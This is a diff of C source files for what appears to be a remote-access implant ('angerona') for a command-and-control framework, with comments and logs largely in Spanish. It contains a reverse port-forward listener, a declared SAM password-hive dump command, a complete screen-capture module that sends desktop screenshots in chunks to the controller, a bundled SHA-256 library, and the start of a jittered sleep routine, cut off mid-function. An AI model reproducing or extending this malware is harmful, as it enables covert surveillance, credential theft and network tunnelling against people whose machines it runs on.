int rpfwd_manager_start_listener(uint16_t local_port) {
if (rpfwd_active) {
_dbg("rpfwd ya está activo en puerto %u", listener_port);
return 0;
}
rpfwd_manager_init();
rpfwd_active = 1;
listener_port = local_port;
_inf("rpfwd_manager_start_listener: iniciando listener en puerto %u", local_port);
uint16_t *port_arg = (uint16_t*)malloc(sizeof(uint16_t));
if (!port_arg) {
_err("rpfwd ERROR: malloc failed for port_arg");
rpfwd_active = 0;
return -1;
}
*port_arg = local_port;
#ifdef _WIN32
listener_thread_handle = CreateThread(NULL, 0, rpfwd_listener_thread, port_arg, 0, NULL);
if (!listener_thread_handle) {
_err("rpfwd ERROR: failed to create listener thread (error: %lu)", GetLastError());
rpfwd_active = 0;
free(port_arg);
return -1;
}
_inf("rpfwd listener thread creado exitosamente");
// Don't close handle immediately - we need it to check if thread is still alive
#else
if (pthread_create(&listener_thread_id, NULL, rpfwd_listener_thread, port_arg) != 0) {
_err("rpfwd ERROR: failed to create listener thread");
rpfwd_active = 0;
free(port_arg);
return -1;
}
_inf("rpfwd listener thread creado exitosamente");
pthread_detach(listener_thread_id);
#endif
// Give the thread a moment to initialize and report any errors
Sleep(100);
// Check if the listener socket was created successfully
if (listener_sock == INVALID_SOCKET && rpfwd_active) {
_wrn("rpfwd listener socket no se creó, thread podría haber fallado");
// Thread might have failed - reset active flag
rpfwd_active = 0;
return -2;
}
return 0;
}
int rpfwd_manager_stop_listener(void) {
_dbg("rpfwd_manager_stop_listener()");
rpfwd_active = 0;
if (listener_sock != INVALID_SOCKET) {
CLOSESOCK(listener_sock);
listener_sock = INVALID_SOCKET;
}
#ifdef _WIN32
if (listener_thread_handle) {
WaitForSingleObject(listener_thread_handle, 2000);
CloseHandle(listener_thread_handle);
listener_thread_handle = NULL;
}
#endif
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
#else
pthread_mutex_lock(&conn_lock);
#endif
rpfwd_conn_entry_t *cur = conn_list;
while (cur) {
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
cur = cur->next;
}
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
#else
pthread_mutex_unlock(&conn_lock);
#endif
listener_port = 0;
return 0;
}
@@ -0,0 +1,47 @@
#ifndef RPFWD_MANAGER_H
#define RPFWD_MANAGER_H
#include <stdint.h>
#include <stddef.h>
/* ==== Estructura básica de mensaje RPFWD ==== */
typedef struct rpfwd_msg_s {
uint32_t server_id;
int exit_flag;
unsigned char *data;
size_t data_len;
uint32_t port; // Optional port for multi-port RPFWD
} rpfwd_msg_t;
/* ==== Callbacks ==== */
typedef void (*rpfwd_send_cb_t)(
uint32_t server_id,
int exit_flag,
const unsigned char *data,
size_t data_len,
uint32_t port,
void *ctx
);
/* ==== Estado global ==== */
extern volatile int rpfwd_active; // indica si RPFWD está activo
/* ==== API pública ==== */
void rpfwd_manager_init(void);
void rpfwd_manager_cleanup(void);
int rpfwd_manager_process_incoming(
uint32_t server_id,
int exit_flag,
const unsigned char *data,
size_t data_len,
uint32_t port
);
void rpfwd_manager_flush_outgoing(rpfwd_send_cb_t cb, void *ctx);
int rpfwd_manager_start_listener(uint16_t local_port);
int rpfwd_manager_stop_listener(void);
#endif /* RPFWD_MANAGER_H */
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,15 @@
#pragma once
#ifndef SAMDUMP_H
#define SAMDUMP_H
#include "analizador.h"
#include "paquete.h"
// SAM dump command code (must match translator)
#define SAMDUMP_CMD 0x42
// Forward declarations
VOID SamDumpHandler(PAnalizador argumentos);
#endif
@@ -0,0 +1,340 @@
#include "screenshot.h"
#include "angerona.h"
#include "paquete.h"
#include "SistemadeFicheros.h"
#include <windows.h>
#include <wingdi.h>
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")
VOID CapturarPantalla(PAnalizador argumentos) {
// Match input_type=None format used by pwd: [nbArg:4][UUID(36)]
UINT32 nbArg = getInt32(argumentos);
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
_inf("[screenshot] nbArg=%u, tamanoUuid=%zu", nbArg, tamanoUuid);
if (!tareaUuid || tamanoUuid != 36) {
_err("[screenshot] UUID de tarea inválido (len=%zu)", tamanoUuid);
return;
}
// Ensure UUID is null-terminated for addString (same as download)
CHAR uuidBuffer[37] = {0};
memcpy(uuidBuffer, tareaUuid, 36);
uuidBuffer[36] = '\0';
tareaUuid = uuidBuffer;
// Prepare raw UUID bytes (36) to avoid strlen issues when adding to packets
BYTE uuidRaw[36];
memcpy(uuidRaw, tareaUuid, 36);
_inf("[screenshot] Iniciando captura de pantalla");
// Get screen dimensions
int screenWidth = GetSystemMetrics(SM_CXSCREEN);
int screenHeight = GetSystemMetrics(SM_CYSCREEN);
if (screenWidth == 0 || screenHeight == 0) {
_err("[screenshot] Error obteniendo dimensiones de pantalla");
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudieron obtener las dimensiones de pantalla\n");
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
}
_inf("[screenshot] Dimensiones: %dx%d", screenWidth, screenHeight);
// Get desktop DC
HDC hScreenDC = GetDC(NULL);
if (!hScreenDC) {
_err("[screenshot] Error obteniendo DC del escritorio");
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo obtener el DC del escritorio\n");
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
}
// Create compatible DC and bitmap
HDC hMemoryDC = CreateCompatibleDC(hScreenDC);
if (!hMemoryDC) {
_err("[screenshot] Error creando compatible DC");
ReleaseDC(NULL, hScreenDC);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo crear compatible DC\n");
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
}
// Create bitmap
HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, screenWidth, screenHeight);
if (!hBitmap) {
_err("[screenshot] Error creando bitmap");
DeleteDC(hMemoryDC);
ReleaseDC(NULL, hScreenDC);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo crear bitmap\n");
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
}
// Select bitmap into memory DC
HBITMAP hOldBitmap = (HBITMAP)SelectObject(hMemoryDC, hBitmap);
// Copy screen to bitmap
if (!BitBlt(hMemoryDC, 0, 0, screenWidth, screenHeight, hScreenDC, 0, 0, SRCCOPY)) {
DWORD error = GetLastError();
_err("[screenshot] Error copiando pantalla con BitBlt, código de error: %lu", error);
SelectObject(hMemoryDC, hOldBitmap);
DeleteObject(hBitmap);
DeleteDC(hMemoryDC);
ReleaseDC(NULL, hScreenDC);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
// Provide more specific error messages based on error code
if (error == ERROR_INVALID_HANDLE || error == 6) {
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: Handle inválido (error: %lu). Puede que no haya sesión interactiva activa.\n", error);
} else if (error == ERROR_ACCESS_DENIED || error == 5) {
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: Acceso denegado (error: %lu). Se requieren permisos de sesión interactiva.\n", error);
} else if (error == ERROR_INVALID_PARAMETER || error == 87) {
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: Parámetros inválidos (error: %lu). Verifica dimensiones de pantalla.\n", error);
} else {
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo copiar la pantalla. Código de error: %lu\n", error);
}
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
}
// Get bitmap info
BITMAPINFO bmpInfo = {0};
bmpInfo.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
bmpInfo.bmiHeader.biWidth = screenWidth;
bmpInfo.bmiHeader.biHeight = -screenHeight; // Negative for top-down DIB
bmpInfo.bmiHeader.biPlanes = 1;
bmpInfo.bmiHeader.biBitCount = 24; // RGB
bmpInfo.bmiHeader.biCompression = BI_RGB;
// Calculate bitmap data size
DWORD bmpDataSize = ((screenWidth * 3 + 3) & ~3) * screenHeight; // Align to 4 bytes
bmpInfo.bmiHeader.biSizeImage = bmpDataSize;
// Allocate buffer for bitmap data
PBYTE bmpData = (PBYTE)LocalAlloc(LPTR, bmpDataSize);
if (!bmpData) {
_err("[screenshot] Error asignando memoria para bitmap");
SelectObject(hMemoryDC, hOldBitmap);
DeleteObject(hBitmap);
DeleteDC(hMemoryDC);
ReleaseDC(NULL, hScreenDC);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo asignar memoria\n");
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
}
// Get bitmap bits
if (!GetDIBits(hScreenDC, hBitmap, 0, screenHeight, bmpData, &bmpInfo, DIB_RGB_COLORS)) {
_err("[screenshot] Error obteniendo bits del bitmap");
LocalFree(bmpData);
SelectObject(hMemoryDC, hOldBitmap);
DeleteObject(hBitmap);
DeleteDC(hMemoryDC);
ReleaseDC(NULL, hScreenDC);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudieron obtener los bits del bitmap\n");
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
}
// Create BMP file header
DWORD bmpFileSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bmpDataSize;
PBYTE bmpFile = (PBYTE)LocalAlloc(LPTR, bmpFileSize);
if (!bmpFile) {
_err("[screenshot] Error asignando memoria para archivo BMP");
LocalFree(bmpData);
SelectObject(hMemoryDC, hOldBitmap);
DeleteObject(hBitmap);
DeleteDC(hMemoryDC);
ReleaseDC(NULL, hScreenDC);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo asignar memoria para el archivo\n");
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
}
// Write BMP file header
PBITMAPFILEHEADER bmpFileHeader = (PBITMAPFILEHEADER)bmpFile;
bmpFileHeader->bfType = 0x4D42; // "BM"
bmpFileHeader->bfSize = bmpFileSize;
bmpFileHeader->bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
// Write bitmap info header
memcpy(bmpFile + sizeof(BITMAPFILEHEADER), &bmpInfo.bmiHeader, sizeof(BITMAPINFOHEADER));
// Write bitmap data
memcpy(bmpFile + sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER), bmpData, bmpDataSize);
// Cleanup
LocalFree(bmpData);
SelectObject(hMemoryDC, hOldBitmap);
DeleteObject(hBitmap);
DeleteDC(hMemoryDC);
ReleaseDC(NULL, hScreenDC);
_inf("[screenshot] Captura completada: %lu bytes", bmpFileSize);
// Send screenshot as download with special path "SCREENSHOT" to identify it
// The translator will detect this and add is_screenshot: true
const DWORD CHUNK_SIZE = 512 * 1024;
DWORD totalChunks = (bmpFileSize + CHUNK_SIZE - 1) / CHUNK_SIZE;
// Send registration (EXACT same format as download)
PPaquete registroRespuesta = nuevoPaquete(POST_RESPONSE, TRUE);
_inf("[screenshot] DEBUG: tareaUuid=%p, uuid(len=36)='%.36s'", tareaUuid, tareaUuid);
_inf("[screenshot] DEBUG: len antes de UUID (registro) = %zu", registroRespuesta->length);
addBytes(registroRespuesta, (PBYTE)uuidRaw, 36, FALSE);
_inf("[screenshot] DEBUG: len después de UUID (registro) = %zu", registroRespuesta->length);
PPaquete salidaRegistro = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaRegistro, FALSE, "[screenshot] Captura de pantalla: %dx%d (%lu bytes, %lu chunks)\n",
screenWidth, screenHeight, bmpFileSize, totalChunks);
addBytes(registroRespuesta, (PBYTE)salidaRegistro->buffer, salidaRegistro->length, TRUE);
// Use special path "SCREENSHOT" so translator knows this is a screenshot
addDownloadRegistration(registroRespuesta, "SCREENSHOT", totalChunks, CHUNK_SIZE);
// Send registration and get file_id
PAnalizador respuestaRegistro = mandarPaquete(registroRespuesta);
liberarPaquete(salidaRegistro);
liberarPaquete(registroRespuesta);
if (!respuestaRegistro) {
_err("[screenshot] Error: No se recibió respuesta del registro\n");
LocalFree(bmpFile);
return;
}
// Extract file_id from response (same logic as download)
PCHAR file_id = NULL;
PBYTE buffer = respuestaRegistro->buffer;
SIZE_T len = respuestaRegistro->tamano;
for (SIZE_T i = 0; i < len - 5; i++) {
if (buffer[i] == 0xFB) {
i++; // Skip marker
if (i + 4 > len) break;
UINT32 file_id_len = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
i += 4;
if (file_id_len == 0 || file_id_len > 256 || i + file_id_len > len) break;
file_id = (PCHAR)LocalAlloc(LPTR, file_id_len + 1);
if (file_id) {
memcpy(file_id, buffer + i, file_id_len);
file_id[file_id_len] = '\0';
}
break;
}
}
if (!file_id) {
_err("[screenshot] Error: No se pudo extraer file_id de la respuesta\n");
liberarAnalizador(respuestaRegistro);
LocalFree(bmpFile);
return;
}
_inf("[screenshot] File ID recibido: %s\n", file_id);
liberarAnalizador(respuestaRegistro);
// Send chunks
DWORD chunkNum = 1;
DWORD offset = 0;
while (offset < bmpFileSize) {
DWORD chunkSize = (bmpFileSize - offset > CHUNK_SIZE) ? CHUNK_SIZE : (bmpFileSize - offset);
PBYTE chunkBuffer = bmpFile + offset;
_inf("[screenshot] Enviando chunk %lu/%lu (%lu bytes)\n", chunkNum, totalChunks, chunkSize);
// Build chunk POST_RESPONSE (EXACT same format as download)
PPaquete chunkRespuesta = nuevoPaquete(POST_RESPONSE, TRUE);
_inf("[screenshot] DEBUG: len antes de UUID (chunk %lu) = %zu", chunkNum, chunkRespuesta->length);
addBytes(chunkRespuesta, (PBYTE)uuidRaw, 36, FALSE);
_inf("[screenshot] DEBUG: len después de UUID (chunk %lu) = %zu", chunkNum, chunkRespuesta->length);
// Add empty output for download chunks
addInt32(chunkRespuesta, 0);
// Add download chunk
addDownloadChunk(chunkRespuesta, file_id, chunkNum, chunkBuffer, chunkSize);
PAnalizador respuestaChunk = mandarPaquete(chunkRespuesta);
liberarPaquete(chunkRespuesta);
if (respuestaChunk) liberarAnalizador(respuestaChunk);
offset += chunkSize;
chunkNum++;
}
// Send final message (EXACT same format as download)
PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
_inf("[screenshot] DEBUG: len antes de UUID (final) = %zu", respuestaFinal->length);
addBytes(respuestaFinal, (PBYTE)uuidRaw, 36, FALSE);
_inf("[screenshot] DEBUG: len después de UUID (final) = %zu", respuestaFinal->length);
PPaquete salidaFinal = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaFinal, FALSE, "[screenshot] Screenshot enviado: %dx%d (%lu bytes)\n",
screenWidth, screenHeight, bmpFileSize);
addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE);
// Report API Call artifact for screen capture
addArtifact(respuestaFinal, "API Call", "GDI Screen Capture: GetDC, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt, GetDIBits");
mandarPaquete(respuestaFinal);
liberarPaquete(salidaFinal);
liberarPaquete(respuestaFinal);
LocalFree(bmpFile);
LocalFree(file_id);
}
@@ -0,0 +1,11 @@
#pragma once
#ifndef SCREENSHOT_H
#define SCREENSHOT_H
#include "analizador.h"
VOID CapturarPantalla(PAnalizador argumentos);
#endif
@@ -0,0 +1,267 @@
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// WjCryptLib_Sha256
//
// Implementation of SHA256 hash function.
// Original author: Tom St Denis, tomstdenis@gmail.com, http://libtom.org
// Modified by WaterJuice retaining Public Domain license.
//
// This is free and unencumbered software released into the public domain -
// June 2013 waterjuice.org
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// IMPORTS
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
#include "sha256.h"
#include <memory.h>
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// MACROS
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
#define ror(value, bits) (((value) >> (bits)) | ((value) << (32 - (bits))))
#define MIN(x, y) (((x) < (y)) ? (x) : (y))
#define STORE32H(x, y) \
{ \
(y)[0] = (uint8_t)(((x) >> 24) & 255); \
(y)[1] = (uint8_t)(((x) >> 16) & 255); \
(y)[2] = (uint8_t)(((x) >> 8) & 255); \
(y)[3] = (uint8_t)((x)&255); \
}
#define LOAD32H(x, y) \
{ \
x = ((uint32_t)((y)[0] & 255) << 24) | ((uint32_t)((y)[1] & 255) << 16) | \
((uint32_t)((y)[2] & 255) << 8) | ((uint32_t)((y)[3] & 255)); \
}
#define STORE64H(x, y) \
{ \
(y)[0] = (uint8_t)(((x) >> 56) & 255); \
(y)[1] = (uint8_t)(((x) >> 48) & 255); \
(y)[2] = (uint8_t)(((x) >> 40) & 255); \
(y)[3] = (uint8_t)(((x) >> 32) & 255); \
(y)[4] = (uint8_t)(((x) >> 24) & 255); \
(y)[5] = (uint8_t)(((x) >> 16) & 255); \
(y)[6] = (uint8_t)(((x) >> 8) & 255); \
(y)[7] = (uint8_t)((x)&255); \
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// CONSTANTS
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// The K array
static const uint32_t K[64] = {
0x428a2f98UL, 0x71374491UL, 0xb5c0fbcfUL, 0xe9b5dba5UL, 0x3956c25bUL,
0x59f111f1UL, 0x923f82a4UL, 0xab1c5ed5UL, 0xd807aa98UL, 0x12835b01UL,
0x243185beUL, 0x550c7dc3UL, 0x72be5d74UL, 0x80deb1feUL, 0x9bdc06a7UL,
0xc19bf174UL, 0xe49b69c1UL, 0xefbe4786UL, 0x0fc19dc6UL, 0x240ca1ccUL,
0x2de92c6fUL, 0x4a7484aaUL, 0x5cb0a9dcUL, 0x76f988daUL, 0x983e5152UL,
0xa831c66dUL, 0xb00327c8UL, 0xbf597fc7UL, 0xc6e00bf3UL, 0xd5a79147UL,
0x06ca6351UL, 0x14292967UL, 0x27b70a85UL, 0x2e1b2138UL, 0x4d2c6dfcUL,
0x53380d13UL, 0x650a7354UL, 0x766a0abbUL, 0x81c2c92eUL, 0x92722c85UL,
0xa2bfe8a1UL, 0xa81a664bUL, 0xc24b8b70UL, 0xc76c51a3UL, 0xd192e819UL,
0xd6990624UL, 0xf40e3585UL, 0x106aa070UL, 0x19a4c116UL, 0x1e376c08UL,
0x2748774cUL, 0x34b0bcb5UL, 0x391c0cb3UL, 0x4ed8aa4aUL, 0x5b9cca4fUL,
0x682e6ff3UL, 0x748f82eeUL, 0x78a5636fUL, 0x84c87814UL, 0x8cc70208UL,
0x90befffaUL, 0xa4506cebUL, 0xbef9a3f7UL, 0xc67178f2UL};
#define BLOCK_SIZE 64
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// INTERNAL FUNCTIONS
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Various logical functions
#define Ch(x, y, z) (z ^ (x & (y ^ z)))
#define Maj(x, y, z) (((x | y) & z) | (x & y))
#define S(x, n) ror((x), (n))
#define R(x, n) (((x)&0xFFFFFFFFUL) >> (n))
#define Sigma0(x) (S(x, 2) ^ S(x, 13) ^ S(x, 22))
#define Sigma1(x) (S(x, 6) ^ S(x, 11) ^ S(x, 25))
#define Gamma0(x) (S(x, 7) ^ S(x, 18) ^ R(x, 3))
#define Gamma1(x) (S(x, 17) ^ S(x, 19) ^ R(x, 10))
#define Sha256Round(a, b, c, d, e, f, g, h, i) \
t0 = h + Sigma1(e) + Ch(e, f, g) + K[i] + W[i]; \
t1 = Sigma0(a) + Maj(a, b, c); \
d += t0; \
h = t0 + t1;
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// TransformFunction
//
// Compress 512-bits
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static void TransformFunction(Sha256Context* Context, uint8_t const* Buffer) {
uint32_t S[8];
uint32_t W[64];
uint32_t t0;
uint32_t t1;
uint32_t t;
int i;
// Copy state into S
for (i = 0; i < 8; i++) {
S[i] = Context->state[i];
}
// Copy the state into 512-bits into W[0..15]
for (i = 0; i < 16; i++) {
LOAD32H(W[i], Buffer + (4 * i));
}
// Fill W[16..63]
for (i = 16; i < 64; i++) {
W[i] = Gamma1(W[i - 2]) + W[i - 7] + Gamma0(W[i - 15]) + W[i - 16];
}
// Compress
for (i = 0; i < 64; i++) {
Sha256Round(S[0], S[1], S[2], S[3], S[4], S[5], S[6], S[7], i);
t = S[7];
S[7] = S[6];
S[6] = S[5];
S[5] = S[4];
S[4] = S[3];
S[3] = S[2];
S[2] = S[1];
S[1] = S[0];
S[0] = t;
}
// Feedback
for (i = 0; i < 8; i++) {
Context->state[i] = Context->state[i] + S[i];
}
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// PUBLIC FUNCTIONS
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Sha256Initialise
//
// Initialises a SHA256 Context. Use this to initialise/reset a context.
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void Sha256Initialise(Sha256Context* Context // [out]
) {
Context->curlen = 0;
Context->length = 0;
Context->state[0] = 0x6A09E667UL;
Context->state[1] = 0xBB67AE85UL;
Context->state[2] = 0x3C6EF372UL;
Context->state[3] = 0xA54FF53AUL;
Context->state[4] = 0x510E527FUL;
Context->state[5] = 0x9B05688CUL;
Context->state[6] = 0x1F83D9ABUL;
Context->state[7] = 0x5BE0CD19UL;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Sha256Update
//
// Adds data to the SHA256 context. This will process the data and update the
// internal state of the context. Keep on calling this function until all the
// data has been added. Then call Sha256Finalise to calculate the hash.
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void Sha256Update(Sha256Context* Context, // [in out]
void const* Buffer, // [in]
uint32_t BufferSize // [in]
) {
uint32_t n;
if (Context->curlen > sizeof(Context->buf)) {
return;
}
while (BufferSize > 0) {
if (Context->curlen == 0 && BufferSize >= BLOCK_SIZE) {
TransformFunction(Context, (uint8_t*)Buffer);
Context->length += BLOCK_SIZE * 8;
Buffer = (uint8_t*)Buffer + BLOCK_SIZE;
BufferSize -= BLOCK_SIZE;
} else {
n = MIN(BufferSize, (BLOCK_SIZE - Context->curlen));
memcpy(Context->buf + Context->curlen, Buffer, (size_t)n);
Context->curlen += n;
Buffer = (uint8_t*)Buffer + n;
BufferSize -= n;
if (Context->curlen == BLOCK_SIZE) {
TransformFunction(Context, Context->buf);
Context->length += 8 * BLOCK_SIZE;
Context->curlen = 0;
}
}
}
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Sha256Finalise
//
// Performs the final calculation of the hash and returns the digest (32 byte
// buffer containing 256bit hash). After calling this, Sha256Initialised must
// be used to reuse the context.
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void Sha256Finalise(Sha256Context* Context, // [in out]
SHA256_HASH* Digest // [out]
) {
int i;
if (Context->curlen >= sizeof(Context->buf)) {
return;
}
// Increase the length of the message
Context->length += Context->curlen * 8;
// Append the '1' bit
Context->buf[Context->curlen++] = (uint8_t)0x80;
// if the length is currently above 56 bytes we append zeros
// then compress. Then we can fall back to padding zeros and length
// encoding like normal.
if (Context->curlen > 56) {
while (Context->curlen < 64) {
Context->buf[Context->curlen++] = (uint8_t)0;
}
TransformFunction(Context, Context->buf);
Context->curlen = 0;
}
// Pad up to 56 bytes of zeroes
while (Context->curlen < 56) {
Context->buf[Context->curlen++] = (uint8_t)0;
}
// Store length
STORE64H(Context->length, Context->buf + 56);
TransformFunction(Context, Context->buf);
// Copy output
for (i = 0; i < 8; i++) {
STORE32H(Context->state[i], Digest->bytes + (4 * i));
}
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Sha256Calculate
//
// Combines Sha256Initialise, Sha256Update, and Sha256Finalise into one
// function. Calculates the SHA256 hash of the buffer.
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void Sha256Calculate(void const* Buffer, // [in]
uint32_t BufferSize, // [in]
SHA256_HASH* Digest // [in]
) {
Sha256Context context;
Sha256Initialise(&context);
Sha256Update(&context, Buffer, BufferSize);
Sha256Finalise(&context, Digest);
}
@@ -0,0 +1,82 @@
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// WjCryptLib_Sha256
//
// Implementation of SHA256 hash function.
// Original author: Tom St Denis, tomstdenis@gmail.com, http://libtom.org
// Modified by WaterJuice retaining Public Domain license.
//
// This is free and unencumbered software released into the public domain -
// June 2013 waterjuice.org
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
#ifndef _SHA256_H_
#define _SHA256_H_
#pragma once
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// IMPORTS
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
#include <stdint.h>
#include <stdio.h>
typedef struct {
uint64_t length;
uint32_t state[8];
uint32_t curlen;
uint8_t buf[64];
} Sha256Context;
#define SHA256_HASH_SIZE (256 / 8)
typedef struct {
uint8_t bytes[SHA256_HASH_SIZE];
} SHA256_HASH;
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// PUBLIC FUNCTIONS
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Sha256Initialise
//
// Initialises a SHA256 Context. Use this to initialise/reset a context.
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void Sha256Initialise(Sha256Context* Context // [out]
);
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Sha256Update
//
// Adds data to the SHA256 context. This will process the data and update the
// internal state of the context. Keep on calling this function until all the
// data has been added. Then call Sha256Finalise to calculate the hash.
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void Sha256Update(Sha256Context* Context, // [in out]
void const* Buffer, // [in]
uint32_t BufferSize // [in]
);
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Sha256Finalise
//
// Performs the final calculation of the hash and returns the digest (32 byte
// buffer containing 256bit hash). After calling this, Sha256Initialised must
// be used to reuse the context.
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void Sha256Finalise(Sha256Context* Context, // [in out]
SHA256_HASH* Digest // [out]
);
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Sha256Calculate
//
// Combines Sha256Initialise, Sha256Update, and Sha256Finalise into one
// function. Calculates the SHA256 hash of the buffer.
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void Sha256Calculate(void const* Buffer, // [in]
uint32_t BufferSize, // [in]
SHA256_HASH* Digest // [in]
);
#endif
@@ -0,0 +1,56 @@
#include "sleep.h"
#include "angerona.h"
#include "socks_manager.h"
BOOL sleep(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
UINT32 tiempoSleep = getInt32(argumentos);
UINT32 maxVarianza = getInt32(argumentos);
if (maxVarianza < 1) {
maxVarianza = 1;
}
const int minVarianza = 1;
const int rangoVarianza = maxVarianza / 2;
int Rand = aleatorioInt32(0, rangoVarianza);
tiempoSleep += Rand;
if (tiempoSleep < minVarianza) {
tiempoSleep = minVarianza;
}
if (angeronaConfig == NULL) {
_err("Error: angeronaConfig no ha sido inicializado.\n");
return FALSE;
}
_dbg("Tiempo Sleep antes: %d\n", angeronaConfig->tiempoSleep);
/* convertir a milisegundos */
tiempoSleep = tiempoSleep * 1000;
/* Si el proxy SOCKS está activo, fuerza intervalos más cortos */
